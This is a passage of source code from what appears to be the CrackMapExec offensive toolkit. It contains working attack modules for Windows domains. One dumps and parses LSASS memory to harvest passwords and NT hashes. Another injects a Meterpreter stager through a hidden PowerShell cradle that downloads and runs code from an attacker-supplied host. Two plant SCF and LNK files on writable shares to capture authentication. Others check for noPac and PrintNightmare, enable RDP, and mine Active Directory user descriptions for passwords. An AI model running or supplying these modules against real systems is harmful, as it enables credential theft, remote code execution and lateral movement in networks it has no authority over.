47 | password=password, 48 | domain=domain_name 49 | ) 50 | 51 | if session.smb_session is None: 52 | context.log.error("Couldn't connect to remote host") 53 | return False 54 | 55 | dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) 56 | if dumper is None: 57 | context.log.error("Unable to load dump method '{}'".format(self.method)) 58 | return False 59 | 60 | file = dumper.dump() 61 | if file is None: 62 | context.log.error("Unable to dump lsass") 63 | return False 64 | 65 | parsed = Parser(file).parse() 66 | if parsed is None: 67 | context.log.error("Unable to parse lsass dump") 68 | return False 69 | credentials, tickets, masterkeys = parsed 70 | 71 | file.close() 72 | ImpacketFile.delete(session, file.get_file_path()) 73 | if credentials is None: 74 | credentials = [] 75 | credentials = [cred.get_object() for cred in credentials if cred.ticket is None and cred.masterkey is None and not cred.get_username().endswith("$")] 76 | credentials_unique = [] 77 | credentials_output = [] 78 | for cred in credentials: 79 | if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique: 80 | credentials_unique.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]]) 81 | credentials_output.append(cred) 82 | self.process_credentials(context, connection, credentials_output) 83 | 84 | def process_credentials(self, context, connection, credentials): 85 | if len(credentials) == 0: 86 | context.log.info("No credentials found") 87 | credz_bh = [] 88 | domain = None 89 | for cred in credentials: 90 | domain = cred["domain"] 91 | if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper(): 92 | domain = connection.domain # slim shady 93 | self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]) 94 | self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]) 95 | credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()}) 96 | add_user_bh(credz_bh, domain, context.log, connection.config) 97 | 98 | @staticmethod 99 | def print_credentials(context, domain, username, password, lmhash, nthash): 100 | if password is None: 101 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) 102 | output = "%s\\%s %s" % (domain, username, password) 103 | context.log.highlight(output) 104 | 105 | @staticmethod 106 | def save_credentials(context, connection, domain, username, password, lmhash, nthash): 107 | host_id = context.db.get_computers(connection.host)[0][0] 108 | if password is not None: 109 | credential_type = 'plaintext' 110 | else: 111 | credential_type = 'hash' 112 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) 113 | context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) 114 | -------------------------------------------------------------------------------- /cme/modules/met_inject.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from sys import exit 3 | 4 | class CMEModule: 5 | ''' 6 | Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script 7 | Module by @byt3bl33d3r 8 | ''' 9 | name = 'met_inject' 10 | description = "Downloads the Meterpreter stager and injects it into memory" 11 | supported_protocols = ['smb', 'mssql'] 12 | opsec_safe = True 13 | multiple_hosts = True 14 | 15 | def options(self, context, module_options): 16 | ''' 17 | SRVHOST IP hosting of the stager server 18 | SRVPORT Stager port 19 | RAND Random string given by metasploit 20 | SSL Stager server use https or http (default: https) 21 | ''' 22 | 23 | self.met_ssl = 'https' 24 | 25 | if not 'SRVHOST' in module_options or not 'SRVPORT' in module_options or not 'RAND' in module_options: 26 | context.log.error('SRVHOST and SRVPORT and RAND options are required!') 27 | exit(1) 28 | 29 | if 'SSL' in module_options: 30 | self.met_ssl = module_options['SSL'] 31 | 32 | self.srvhost = module_options['SRVHOST'] 33 | self.srvport = module_options['SRVPORT'] 34 | self.rand = module_options['RAND'] 35 | 36 | def on_admin_login(self, context, connection): 37 | # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload 38 | command = """$url="{}://{}:{}/{}" 39 | $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");' 40 | $PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe' 41 | if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}} 42 | $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo 43 | $ProcessInfo.FileName=$PowershellExe 44 | $ProcessInfo.Arguments="-nop -c $DownloadCradle" 45 | $ProcessInfo.UseShellExecute = $False 46 | $ProcessInfo.RedirectStandardOutput = $True 47 | $ProcessInfo.CreateNoWindow = $True 48 | $ProcessInfo.WindowStyle = "Hidden" 49 | $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format( 50 | 'http' if self.met_ssl == 'http' else 'https', 51 | self.srvhost, 52 | self.srvport, 53 | self.rand) 54 | context.log.debug(command) 55 | connection.ps_execute(command, force_ps32=True) 56 | context.log.success('Executed payload') 57 | -------------------------------------------------------------------------------- /cme/modules/nopac.py: -------------------------------------------------------------------------------- 1 | # Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html 2 | # @exploitph @Evi1cg 3 | # module by @mpgn_x64 4 | 5 | from binascii import unhexlify 6 | from impacket.krb5.kerberosv5 import getKerberosTGT 7 | from impacket.krb5 import constants 8 | from impacket.krb5.types import Principal 9 | 10 | class CMEModule: 11 | 12 | name = 'nopac' 13 | description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user" 14 | supported_protocols = ['smb'] 15 | opsec_safe = True 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | ''' 21 | 22 | def on_login(self, context, connection): 23 | 24 | userName = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 25 | tgt_with_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain, 26 | unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey, 27 | connection.host,requestPAC=True) 28 | context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac))) 29 | tgt_no_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain, 30 | unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey, 31 | connection.host,requestPAC=False) 32 | context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac))) 33 | if len(tgt_no_pac) < len(tgt_with_pac): 34 | context.log.highlight("") 35 | context.log.highlight("VULNEABLE") 36 | context.log.highlight("Next step: https://github.com/Ridter/noPac") -------------------------------------------------------------------------------- /cme/modules/rdp.py: -------------------------------------------------------------------------------- 1 | from impacket.dcerpc.v5.rpcrt import DCERPCException 2 | from impacket.dcerpc.v5 import rrp 3 | from impacket.examples.secretsdump import RemoteOperations 4 | from sys import exit 5 | 6 | class CMEModule: 7 | 8 | name = 'rdp' 9 | description = 'Enables/Disables RDP' 10 | supported_protocols = ['smb'] 11 | opsec_safe = True 12 | multiple_hosts = True 13 | 14 | def options(self, context, module_options): 15 | ''' 16 | ACTION Enable/Disable RDP (choices: enable, disable) 17 | ''' 18 | 19 | if not 'ACTION' in module_options: 20 | context.log.error('ACTION option not specified!') 21 | exit(1) 22 | 23 | if module_options['ACTION'].lower() not in ['enable', 'disable']: 24 | context.log.error('Invalid value for ACTION option!') 25 | exit(1) 26 | 27 | self.action = module_options['ACTION'].lower() 28 | 29 | def on_admin_login(self, context, connection): 30 | if self.action == 'enable': 31 | self.rdp_enable(context, connection.conn) 32 | elif self.action == 'disable': 33 | self.rdp_disable(context, connection.conn) 34 | 35 | def rdp_enable(self, context, smbconnection): 36 | remoteOps = RemoteOperations(smbconnection, False) 37 | remoteOps.enableRegistry() 38 | 39 | if remoteOps._RemoteOperations__rrp: 40 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 41 | regHandle = ans['phKey'] 42 | 43 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server') 44 | keyHandle = ans['phkResult'] 45 | 46 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 0) 47 | 48 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00') 49 | 50 | if int(data) == 0: 51 | context.log.success('RDP enabled successfully') 52 | 53 | try: 54 | remoteOps.finish() 55 | except: 56 | pass 57 | 58 | def rdp_disable(self, context, smbconnection): 59 | remoteOps = RemoteOperations(smbconnection, False) 60 | remoteOps.enableRegistry() 61 | 62 | if remoteOps._RemoteOperations__rrp: 63 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 64 | regHandle = ans['phKey'] 65 | 66 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server') 67 | keyHandle = ans['phkResult'] 68 | 69 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 1) 70 | 71 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00') 72 | 73 | if int(data) == 1: 74 | context.log.success('RDP disabled successfully') 75 | 76 | try: 77 | remoteOps.finish() 78 | except: 79 | pass 80 | -------------------------------------------------------------------------------- /cme/modules/runasppl.py: -------------------------------------------------------------------------------- 1 | class CMEModule: 2 | 3 | name = 'runasppl' 4 | description = "Check if the registry value RunAsPPL is set or not" 5 | supported_protocols = ['smb'] 6 | opsec_safe = True 7 | multiple_hosts = True 8 | 9 | def options(self, context, module_options): 10 | ''' 11 | ''' 12 | 13 | def on_admin_login(self, context, connection): 14 | 15 | command = 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL' 16 | context.log.info('Executing command') 17 | p = connection.execute(command, True) 18 | context.log.highlight(p) -------------------------------------------------------------------------------- /cme/modules/scuffy.py: -------------------------------------------------------------------------------- 1 | import os 2 | import ntpath 3 | 4 | from sys import exit 5 | 6 | class CMEModule: 7 | ''' 8 | Original idea and PoC by Mubix "Rob" Fuller 9 | URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/ 10 | Module by: @kierangroome 11 | ''' 12 | 13 | name = 'scuffy' 14 | description = 'Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares' 15 | supported_protocols = ['smb'] 16 | opsec_safe= False 17 | multiple_hosts = True 18 | 19 | def options(self, context, module_options): 20 | ''' 21 | SERVER IP of the SMB server 22 | NAME SCF file name 23 | CLEANUP Cleanup (choices: True or False) 24 | ''' 25 | 26 | self.cleanup = False 27 | 28 | if 'CLEANUP' in module_options: 29 | self.cleanup = bool(module_options['CLEANUP']) 30 | 31 | if 'NAME' not in module_options: 32 | context.log.error('NAME option is required!') 33 | exit(1) 34 | 35 | if not self.cleanup and 'SERVER' not in module_options: 36 | context.log.error('SERVER option is required!') 37 | exit(1) 38 | 39 | self.scf_name = module_options['NAME'] 40 | self.scf_path = '/tmp/{}.scf'.format(self.scf_name) 41 | self.file_path = ntpath.join('\\', '{}.scf'.format(self.scf_name)) 42 | 43 | if not self.cleanup: 44 | self.server = module_options['SERVER'] 45 | scuf = open(self.scf_path, 'a'); 46 | scuf.write("[Shell]" + '\n'); 47 | scuf.write("Command=2" + '\n'); 48 | scuf.write("IconFile=" + '\\\\{}\\share\\icon.ico'.format(self.server) + '\n'); 49 | scuf.close(); 50 | 51 | def on_login(self, context, connection): 52 | shares = connection.shares() 53 | for share in shares: 54 | if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']: 55 | #print share 56 | context.log.success('Found writable share: {}'.format(share['name'])) 57 | if not self.cleanup: 58 | with open(self.scf_path, 'rb') as scf: 59 | try: 60 | connection.conn.putFile(share['name'], self.file_path, scf.read) 61 | context.log.success('Created SCF file on the {} share'.format(share['name'])) 62 | except Exception as e: 63 | context.log.error('Error writing SCF file to share {}: {}'.format(share['name'])) 64 | else: 65 | try: 66 | connection.conn.deleteFile(share['name'], self.file_path) 67 | context.log.success('Deleted SCF file on the {} share'.format(share['name'])) 68 | except Exception as e: 69 | context.log.error('Error deleting SCF file on share {}: {}'.format(share['name'], e)) 70 | -------------------------------------------------------------------------------- /cme/modules/slinky.py: -------------------------------------------------------------------------------- 1 | import pylnk3 2 | import os 3 | import ntpath 4 | from sys import exit 5 | 6 | class CMEModule: 7 | ''' 8 | Original idea and PoC by Justin Angel (@4rch4ngel86) 9 | Module by @byt3bl33d3r 10 | ''' 11 | 12 | name = 'slinky' 13 | description = 'Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions' 14 | supported_protocols = ['smb'] 15 | opsec_safe= False 16 | multiple_hosts = True 17 | 18 | def options(self, context, module_options): 19 | ''' 20 | SERVER IP of the SMB server 21 | NAME LNK file name 22 | CLEANUP Cleanup (choices: True or False) 23 | ''' 24 | 25 | self.cleanup = False 26 | 27 | if 'CLEANUP' in module_options: 28 | self.cleanup = bool(module_options['CLEANUP']) 29 | 30 | if 'NAME' not in module_options: 31 | context.log.error('NAME option is required!') 32 | exit(1) 33 | 34 | if not self.cleanup and 'SERVER' not in module_options: 35 | context.log.error('SERVER option is required!') 36 | exit(1) 37 | 38 | self.lnk_name = module_options['NAME'] 39 | self.lnk_path = '/tmp/{}.lnk'.format(self.lnk_name) 40 | self.file_path = ntpath.join('\\', '{}.lnk'.format(self.lnk_name)) 41 | 42 | if not self.cleanup: 43 | self.server = module_options['SERVER'] 44 | link = pylnk3.create(self.lnk_path) 45 | link.icon = '\\\\{}\\icons\\icon.ico'.format(self.server) 46 | link.save() 47 | 48 | def on_login(self, context, connection): 49 | shares = connection.shares() 50 | for share in shares: 51 | if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']: 52 | context.log.success('Found writable share: {}'.format(share['name'])) 53 | if not self.cleanup: 54 | with open(self.lnk_path, 'rb') as lnk: 55 | try: 56 | connection.conn.putFile(share['name'], self.file_path, lnk.read) 57 | context.log.success('Created LNK file on the {} share'.format(share['name'])) 58 | except Exception as e: 59 | context.log.error('Error writing LNK file to share {}: {}'.format(share['name'], e)) 60 | else: 61 | try: 62 | connection.conn.deleteFile(share['name'], self.file_path) 63 | context.log.success('Deleted LNK file on the {} share'.format(share['name'])) 64 | except Exception as e: 65 | context.log.error('Error deleting LNK file on share {}: {}'.format(share['name'], e)) 66 | -------------------------------------------------------------------------------- /cme/modules/spooler.py: -------------------------------------------------------------------------------- 1 | # https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py 2 | from impacket.examples import logger 3 | from impacket import uuid, version 4 | from impacket.dcerpc.v5 import transport, epm 5 | from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \ 6 | RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \ 7 | RPC_PROXY_RPC_OUT_DATA_404_ERR 8 | 9 | KNOWN_PROTOCOLS = { 10 | 135: {'bindstr': r'ncacn_ip_tcp:%s[135]'}, 11 | 445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'}, 12 | } 13 | 14 | class CMEModule: 15 | ''' 16 | For printnightmare: detect if print spooler is enabled or not. Then use @cube0x0's project https://github.com/cube0x0/CVE-2021-1675 or Mimikatz from Benjamin Delpy 17 | Module by @mpgn_x64 18 | 19 | ''' 20 | name = 'spooler' 21 | description = 'Detect if print spooler is enabled or not' 22 | supported_protocols = ['smb'] 23 | opsec_safe= True 24 | multiple_hosts = True 25 | 26 | def options(self, context, module_options): 27 | self.port = 135 28 | if 'PORT' in module_options: 29 | self.port = int(module_options['PORT']) 30 | 31 | def on_login(self, context, connection): 32 | 33 | entries = [] 34 | lmhash = getattr(connection, "lmhash", "") 35 | nthash = getattr(connection, "nthash", "") 36 | 37 | self.__stringbinding = KNOWN_PROTOCOLS[self.port]['bindstr'] % connection.host 38 | logging.debug('StringBinding %s' % self.__stringbinding) 39 | rpctransport = transport.DCERPCTransportFactory(self.__stringbinding) 40 | rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash) 41 | rpctransport.setRemoteHost(connection.host) 42 | rpctransport.set_dport(self.port) 43 | 44 | try: 45 | entries = self.__fetchList(rpctransport) 46 | except Exception as e: 47 | error_text = 'Protocol failed: %s' % e 48 | logging.critical(error_text) 49 | 50 | if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \ 51 | RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ 52 | RPC_PROXY_CONN_A1_404_ERR in error_text or \ 53 | RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: 54 | logging.critical("This usually means the target does not allow " 55 | "to connect to its epmapper using RpcProxy.") 56 | return 57 | 58 | # Display results. 59 | endpoints = {} 60 | # Let's groups the UUIDS 61 | for entry in entries: 62 | binding = epm.PrintStringBinding(entry['tower']['Floors']) 63 | tmpUUID = str(entry['tower']['Floors'][0]) 64 | if (tmpUUID in endpoints) is not True: 65 | endpoints[tmpUUID] = {} 66 | endpoints[tmpUUID]['Bindings'] = list() 67 | if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS: 68 | endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]] 69 | else: 70 | endpoints[tmpUUID]['EXE'] = 'N/A' 71 | endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1].decode('utf-8') 72 | endpoints[tmpUUID]['Bindings'].append(binding) 73 | 74 | if tmpUUID[:36] in epm.KNOWN_PROTOCOLS: 75 | endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]] 76 | else: 77 | endpoints[tmpUUID]['Protocol'] = "N/A" 78 | 79 | for endpoint in list(endpoints.keys()): 80 | if "MS-RPRN" in endpoints[endpoint]['Protocol']: 81 | logging.debug("Protocol: %s " % endpoints[endpoint]['Protocol']) 82 | logging.debug("Provider: %s " % endpoints[endpoint]['EXE']) 83 | logging.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation'])) 84 | logging.debug("Bindings: ") 85 | for binding in endpoints[endpoint]['Bindings']: 86 | logging.debug(" %s" % binding) 87 | logging.debug("") 88 | context.log.highlight('Spooler service enabled') 89 | break 90 | 91 | if entries: 92 | num = len(entries) 93 | if 1 == num: 94 | logging.info('Received one endpoint.') 95 | else: 96 | logging.info('Received %d endpoints.' % num) 97 | else: 98 | logging.info('No endpoints found.') 99 | 100 | 101 | def __fetchList(self, rpctransport): 102 | dce = rpctransport.get_dce_rpc() 103 | dce.connect() 104 | resp = epm.hept_lookup(None, dce=dce) 105 | dce.disconnect() 106 | return resp 107 | 108 | -------------------------------------------------------------------------------- /cme/modules/subnets.py: -------------------------------------------------------------------------------- 1 | from impacket.ldap import ldapasn1 as ldapasn1_impacket 2 | 3 | def searchResEntry_to_dict(results): 4 | data = {} 5 | for attr in results['attributes']: 6 | key = str(attr['type']) 7 | value = str(attr['vals'][0]) 8 | data[key] = value 9 | return data 10 | 11 | class CMEModule: 12 | ''' 13 | Retrieves the different Sites and Subnets of an Active Directory 14 | 15 | Authors: 16 | Podalirius: @podalirius_ 17 | ''' 18 | 19 | def options(self, context, module_options): 20 | """ 21 | showservers Toggle printing of servers (default: true) 22 | """ 23 | 24 | self.showservers = True 25 | 26 | if module_options and 'SHOWSERVERS' in module_options: 27 | if module_options['SHOWSERVERS'].lower() == "true" or module_options['SHOWSERVERS'] == "1": 28 | self.showservers = True 29 | elif module_options['SHOWSERVERS'].lower() == "false" or module_options['SHOWSERVERS'] == "0": 30 | self.showservers = False 31 | else: 32 | print("Could not parse showservers option.") 33 | 34 | name = 'subnets' 35 | description = 'Retrieves the different Sites and Subnets of an Active Directory' 36 | supported_protocols = ['ldap'] 37 | opsec_safe = True 38 | multiple_hosts = False 39 | 40 | def on_login(self, context, connection): 41 | dn = ','.join(["DC=%s" % part for part in connection.domain.split('.')]) 42 | 43 | context.log.info('Getting the Sites and Subnets from domain') 44 | 45 | list_sites = connection.ldapConnection.search( 46 | searchBase="CN=Configuration,%s" % dn, 47 | searchFilter='(objectClass=site)', 48 | attributes=['distinguishedName', 'name', 'description'], 49 | sizeLimit=999 50 | ) 51 | for site in list_sites: 52 | if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True: 53 | continue 54 | site = searchResEntry_to_dict(site) 55 | site_dn = site['distinguishedName'] 56 | site_name = site['name'] 57 | site_description = "" 58 | if "description" in site.keys(): 59 | site_description = site['description'] 60 | # Getting subnets of this site 61 | list_subnets = connection.ldapConnection.search( 62 | searchBase="CN=Sites,CN=Configuration,%s" % dn, 63 | searchFilter='(siteObject=%s)' % site_dn, 64 | attributes=['distinguishedName', 'name'], 65 | sizeLimit=999 66 | ) 67 | if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0: 68 | context.log.highlight("Site \"%s\"" % site_name) 69 | else: 70 | for subnet in list_subnets: 71 | if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True: 72 | continue 73 | subnet = searchResEntry_to_dict(subnet) 74 | subnet_dn = subnet['distinguishedName'] 75 | subnet_name = subnet['name'] 76 | 77 | if self.showservers: 78 | # Getting machines in these subnets 79 | list_servers = connection.ldapConnection.search( 80 | searchBase=site_dn, 81 | searchFilter='(objectClass=server)', 82 | attributes=['cn'], 83 | sizeLimit=999 84 | ) 85 | if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0: 86 | if len(site_description) != 0: 87 | context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description)) 88 | else: 89 | context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name)) 90 | else: 91 | for server in list_servers: 92 | if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True: 93 | continue 94 | server = searchResEntry_to_dict(server)['cn'] 95 | if len(site_description) != 0: 96 | context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\") (Server:%s)" % (site_name, subnet_name, site_description, server)) 97 | else: 98 | context.log.highlight("Site \"%s\" (Subnet:%s) (Server:%s)" % (site_name, subnet_name, server)) 99 | else: 100 | if len(site_description) != 0: 101 | context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description)) 102 | else: 103 | context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name)) 104 | -------------------------------------------------------------------------------- /cme/modules/test_connection.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import create_ps_command 2 | from sys import exit 3 | 4 | class CMEModule: 5 | ''' 6 | Executes the Test-Connection PowerShell cmdlet 7 | Module by @byt3bl33d3r 8 | ''' 9 | 10 | name = 'test_connection' 11 | description = "Pings a host" 12 | supported_protocols = ['smb', 'mssql'] 13 | opsec_safe = True 14 | multiple_hosts = True 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | HOST Host to ping 19 | ''' 20 | self.host = None 21 | 22 | if 'HOST' not in module_options: 23 | context.log.error('HOST option is required!') 24 | exit(1) 25 | 26 | self.host = module_options['HOST'] 27 | 28 | def on_admin_login(self, context, connection): 29 | command = 'Test-Connection {} -quiet -count 1'.format(self.host) 30 | 31 | output = connection.ps_execute(command, get_output=True) 32 | 33 | if output: 34 | output = output.strip() 35 | if bool(output) is True: 36 | context.log.success('Pinged successfully') 37 | elif bool(output) is False: 38 | context.log.error('Host unreachable') 39 | -------------------------------------------------------------------------------- /cme/modules/uac.py: -------------------------------------------------------------------------------- 1 | from impacket.dcerpc.v5.rpcrt import DCERPCException 2 | from impacket.dcerpc.v5 import rrp 3 | from impacket.examples.secretsdump import RemoteOperations 4 | 5 | class CMEModule: 6 | 7 | name = 'uac' 8 | description = "Checks UAC status" 9 | supported_protocols = ['smb'] 10 | opsec_safe = True 11 | multiple_hosts = True 12 | 13 | def options(self, context, module_options): 14 | ''' 15 | ''' 16 | 17 | def on_admin_login(self, context, connection): 18 | remoteOps = RemoteOperations(connection.conn, False) 19 | remoteOps.enableRegistry() 20 | 21 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 22 | regHandle = ans['phKey'] 23 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System') 24 | keyHandle = ans['phkResult'] 25 | dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA') 26 | 27 | if uac_value == 1: 28 | context.log.highlight('UAC Status: 1 (UAC Enabled)') 29 | elif uac_value == 0: 30 | context.log.highlight('UAC Status: 0 (UAC Disabled)') 31 | 32 | rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) 33 | remoteOps.finish() 34 | -------------------------------------------------------------------------------- /cme/modules/user_description.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | from datetime import datetime 3 | from impacket.ldap import ldap, ldapasn1 4 | from impacket.ldap.ldap import LDAPSearchError 5 | 6 | 7 | class CMEModule: 8 | ''' 9 | Get user descriptions stored in Active Directory. 10 | 11 | Module by Tobias Neitzel (@qtc_de) 12 | ''' 13 | name = 'user-desc' 14 | description = 'Get user descriptions stored in Active Directory' 15 | supported_protocols = ['ldap'] 16 | opsec_safe = True 17 | multiple_hosts = True 18 | 19 | def options(self, context, module_options): 20 | ''' 21 | LDAP_FILTER Custom LDAP search filter (fully replaces the default search) 22 | DESC_FILTER An additional seach filter for descriptions (supports wildcard *) 23 | DESC_INVERT An additional seach filter for descriptions (shows non matching) 24 | USER_FILTER An additional seach filter for usernames (supports wildcard *) 25 | USER_INVERT An additional seach filter for usernames (shows non matching) 26 | KEYWORDS Use a custom set of keywords (comma separated) 27 | ADD_KEYWORDS Add additional keywords to the default set (comma separated) 28 | ''' 29 | self.log_file = None 30 | self.desc_count = 0 31 | self.context = context 32 | self.account_names = set() 33 | self.keywords = {'pass', 'creds', 'creden', 'key', 'secret', 'default'} 34 | 35 | if 'LDAP_FILTER' in module_options: 36 | self.search_filter = module_options['LDAP_FILTER'] 37 | 38 | else: 39 | self.search_filter = '(&(objectclass=user)' 40 | 41 | if 'DESC_FILTER' in module_options: 42 | self.search_filter += '(description={})'.format(module_options['DESC_FILTER']) 43 | 44 | if 'DESC_INVERT' in module_options: 45 | self.search_filter += '(!(description={}))'.format(module_options['DESC_INVERT']) 46 | 47 | if 'USER_FILTER' in module_options: 48 | self.search_filter += '(sAMAccountName={})'.format(module_options['USER_FILTER']) 49 | 50 | if 'USER_INVERT' in module_options: 51 | self.search_filter += '(!(sAMAccountName={}))'.format(module_options['USER_INVERT']) 52 | 53 | self.search_filter += ')' 54 | 55 | if 'KEYWORDS' in module_options: 56 | self.keywords = set(module_options['KEYWORDS'].split(',')) 57 | 58 | elif 'ADD_KEYWORDS' in module_options: 59 | add_keywords = set(module_options['ADD_KEYWORDS'].split(',')) 60 | self.keywords = self.keywords.union(add_keywords) 61 | 62 | def __del__(self): 63 | ''' 64 | Destructor - closes the log file. 65 | ''' 66 | try: 67 | self.log_file.close() 68 | 69 | info = 'Saved {} user descriptions to {}'.format(self.desc_count, self.log_file.name) 70 | self.context.log.highlight(info) 71 | 72 | except AttributeError: 73 | pass 74 | 75 | def on_login(self, context, connection): 76 | ''' 77 | On successful LDAP login we perform a search for all user objects that have a description. 78 | Users can specify additional LDAP filters that are applied to the query. 79 | ''' 80 | self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S")) 81 | context.log.debug("Starting LDAP search with search filter '{}'".format(self.search_filter)) 82 | 83 | try: 84 | sc = ldap.SimplePagedResultsControl() 85 | connection.ldapConnection.search(searchFilter=self.search_filter, 86 | attributes=['sAMAccountName', 'description'], 87 | sizeLimit=0, searchControls=[sc], 88 | perRecordCallback=self.process_record) 89 | 90 | except LDAPSearchError as e: 91 | context.log.error('Obtained unexpected exception: {}'.format(str(e))) 92 | 93 | def create_log_file(self, host, time): 94 | ''' 95 | Create a log file for dumping user descriptions. 96 | ''' 97 | logfile = 'UserDesc-{}-{}.log'.format(host, time) 98 | logfile = Path.home().joinpath('.cme').joinpath('logs').joinpath(logfile) 99 | 100 | self.context.log.debug("Creating log file '{}'".format(logfile)) 101 | 102 | self.log_file = open(logfile, 'w') 103 | self.append_to_log("User:", "Description:") 104 | 105 | def append_to_log(self, user, description): 106 | ''' 107 | Append a new entry to the log file. Helper function that is only used to have an 108 | unified padding on the user field. 109 | ''' 110 | print(user.ljust(25), description, file=self.log_file) 111 | 112 | def process_record(self, item): 113 | ''' 114 | Function that is called to process the items obtained by the LDAP search. All items are 115 | written to the log file per default. Items that contain one of the keywords configured 116 | within this module are also printed to stdout. 117 | 118 | On large Active Directories there seems to be a problem with duplicate user entries. For 119 | some reason the process_record function is called multiple times with the same user entry. 120 | Not sure whether this is a fault by this module or by impacket. As a workaround, this 121 | function adds each new account name to a set and skips accounts that have already been added. 122 | ''' 123 | if not isinstance(item, ldapasn1.SearchResultEntry): 124 | return 125 | 126 | sAMAccountName = '' 127 | description = '' 128 | 129 | try: 130 | 131 | for attribute in item['attributes']: 132 | 133 | if str(attribute['type']) == 'sAMAccountName': 134 | sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8') 135 | 136 | elif str(attribute['type']) == 'description': 137 | description = attribute['vals'][0].asOctets().decode('utf-8') 